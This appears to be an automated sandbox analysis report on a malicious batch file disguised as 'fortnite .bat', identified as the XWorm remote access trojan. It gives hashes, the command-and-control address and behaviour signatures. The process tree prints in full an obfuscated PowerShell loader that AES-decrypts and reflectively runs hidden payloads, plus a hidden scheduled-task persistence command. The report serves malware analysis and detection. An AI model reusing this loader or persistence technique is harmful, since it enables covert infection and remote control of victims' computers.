Analysis

  • max time kernel
    101s
  • max time network
    142s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    08-11-2024 06:50

General

  • Target

    fortnite .bat

  • Size

    571KB

  • MD5

    73f587e1a81276175d5e6560e6d6b18c

  • SHA1

    843d9c158c1942d8bd8348a36934cf9307aae7cc

  • SHA256

    6c0f00683ba47c5fcaef71626aefb1b0ac6f006888a3611222db1052f8a05ffd

  • SHA512

    ed1371fe6e1b9c4ee6a5797d25559c54c3d5709298f17fbd2b7ae472688f2cb6224d5a87ede31e565fe40731336a46db9bc0363b65859c64035117d5d3404bb6

  • SSDEEP

    12288:RvkWtm4kNF0x6e2K2/SZAh9R5x3UEOM+2SoWDjsnlLOS6+7nkCzTdU8F+pptww9r:Uxo9I32QfMD

Malware Config

Extracted

Family

xworm

Version

5.0

C2

80.76.49.227:9999

Mutex

2G2GCFyKfM7BM0l4

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fortnite .bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2052
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Local\Temp\fortnite .bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4820
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_741_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_741.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2888
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_741.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1708
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_741.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2480
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2972
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:4460
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iJHn1mpGvhgI+DotLrS5NbtrLj72BaXKNRV/TmxQRBI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kXScYF4z//tI9MSHPpTdUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KRBnU=New-Object System.IO.MemoryStream(,$param_var); $ZOvqK=New-Object System.IO.MemoryStream; $MyezJ=New-Object System.IO.Compression.GZipStream($KRBnU, [IO.Compression.CompressionMode]::Decompress); $MyezJ.CopyTo($ZOvqK); $MyezJ.Dispose(); $KRBnU.Dispose(); $ZOvqK.Dispose(); $ZOvqK.ToArray();}function execute_function($param_var,$param2_var){ $IMvGp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MJtdD=$IMvGp.EntryPoint; $MJtdD.Invoke($null, $param2_var);}$IkjIR = 'C:\Users\Admin\AppData\Roaming\startup_str_741.bat';$host.UI.RawUI.WindowTitle = $IkjIR;$PmYzy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IkjIR).Split([Environment]::NewLine);foreach ($LHlfd in $PmYzy) { if ($LHlfd.StartsWith(':: ')) { $DAvow=$LHlfd.Substring(3); break; }}$payloads_var=[string[]]$DAvow.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3620
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6107.tmp.bat""
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:636
                  • C:\Windows\system32\timeout.exe
                    timeout 3
                    7⤵
                    • Delays execution with timeout.exe
                    PID:2132

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        020d1cbef5aeb22088c0faff8d76af4e

        SHA1

        93e7f27b8fb57cfea4ae330bedcace1a8ce7c014

        SHA256

        cb283829df7f7ca2f7f8072ed014bebb7d424581e8672a9fa5683f3674726bb0

        SHA512

        1046228ed9d08e5296c02409b5aa460e8280a633f7f2022ec7dc7c1e750522260006844bd5114ec713593bce1d10b8932963a8630e6707e76b45a0cb8c8ff53d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        a11f87b8cd1fe31e813554148961c1e2

        SHA1

        196e7db1115913a69bc1fc5f195bc3c5b6cd448a

        SHA256

        7e9f295821a7d67bb2a4eb7653e5288f9ea83c333db95398f72b914a59afb083

        SHA512

        5509a66bdfd4e935c77ec2cf92b0fe998d7aa013c9cc9399b532db5d266d08314abd0afa6d08c14475e6badea92ef1d62e21999e489eb9d95e59006e786763b9

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frxdtclp.bj0.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\tmp6107.tmp.bat

        Filesize

        171B

        MD5

        a113a4b104b326492bfbbc51679efecc

        SHA1

        d2d1aeeebbd9b101337b1ea194621db36933a6a9

        SHA256

        e60946de28afbad777f386079b3f673d365d6c3e1fda25d324831e9fd7555035

        SHA512

        6845581d8010b9c6fe42ecade0e540515e9111b1af6cda371758de469564f8853ed166f4dc5e311ae16ed0f7ec82e8335e8916daf352af76ea7557c2389e228b

      • C:\Users\Admin\AppData\Roaming\startup_str_741.vbs

        Filesize

        115B

        MD5

        caaef5e7afa46ce7c62f498aca9a6a78

        SHA1

        0991ef99738233860660f9e1024e37c4d40c4b57

        SHA256

        4ab4578fe3d5de509a03a00df3222935302db4a9f12cb778f526c081baf6560e

        SHA512

        61626b60a7fdf95ed55490b4737cb9f03ef7008e53f69fa0b1b17edae4c7983c1127a945bce69f5c6fea117dd6e28aca39467e998dcb03cba793f3b32dc5afb6

      • memory/2888-31-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/2888-22-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/2888-27-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/2888-28-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/3620-56-0x0000021E54730000-0x0000021E5473C000-memory.dmp

        Filesize

        48KB

      • memory/3620-55-0x0000021E54A30000-0x0000021E54A3E000-memory.dmp

        Filesize

        56KB

      • memory/4820-13-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-15-0x000001C560E00000-0x000001C560E32000-memory.dmp

        Filesize

        200KB

      • memory/4820-14-0x000001C560B40000-0x000001C560B48000-memory.dmp

        Filesize

        32KB

      • memory/4820-0-0x00007FFEEB513000-0x00007FFEEB515000-memory.dmp

        Filesize

        8KB

      • memory/4820-41-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-52-0x00007FFEEB513000-0x00007FFEEB515000-memory.dmp

        Filesize

        8KB

      • memory/4820-53-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-54-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-11-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-12-0x00007FFEEB510000-0x00007FFEEBFD2000-memory.dmp

        Filesize

        10.8MB

      • memory/4820-10-0x000001C560B50000-0x000001C560B72000-memory.dmp

        Filesize

        136KB